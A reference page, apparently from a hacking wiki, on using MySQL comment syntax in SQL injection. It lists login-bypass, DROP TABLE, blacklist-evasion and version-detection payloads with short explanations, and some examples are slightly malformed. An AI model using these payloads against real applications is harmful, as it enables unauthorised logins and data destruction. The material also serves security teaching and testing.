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====== Hacking - SQL Injection - MySQL - Comments ======

===== Line Comments =====

Comments out rest of the query.

Line comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.

<code sql>
DROP sampletable;-- 

DROP sampletable;#
</code>

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Line Comments Sample SQL Injection Attacks

<code sql>
Username: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
This is going to log you as admin user, because rest of the SQL query will be ignored.
</code>

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===== Inline Comments =====

Comment out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

<code sql>
/*Comment Here*/

DROP/*comment*/sampletable

DR/**/OP/*bypass blacklisting*/sampletable

SELECT/*avoid-spaces*/password/**/FROM/**/Members
</code>

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==== Special Comment Syntax for MySQL ====

This is a special comment syntax for MySQL.

<code sql>
/*! MYSQL Special SQL */
</code>

It's perfect for detecting MySQL version. If you put a code into this comments it's going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version. 

<code sql>
SELECT /*!32302 1/0, */ 1 FROM tablename
</code>

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==== Classical Inline Comment SQL Injection Attack Samples ====

<code sql>
ID: 10; DROP TABLE members /* 
</code>

Simply get rid of other stuff at the end the of query. Same as:

<code sql>
10; DROP TABLE members --
</code>

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==== Division by 0 error ====

<code sql>
SELECT /*!32302 1/0, */ 1 FROM tablename 
</code>

Will throw a division by 0 error if MySQL version is higher than3.23.02

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==== MySQL Version Detection Sample Attacks ====

<code sql>
ID: /*!32302 10*/
ID: 10 
</code>

You will get the same response if MySQL version is higher than 3.23.02

<code sql>
SELECT /*!32302 1/0, */ 1 FROM tablename 
</code>

Will throw a division by 0 error if MySQL version is higher than3.23.02

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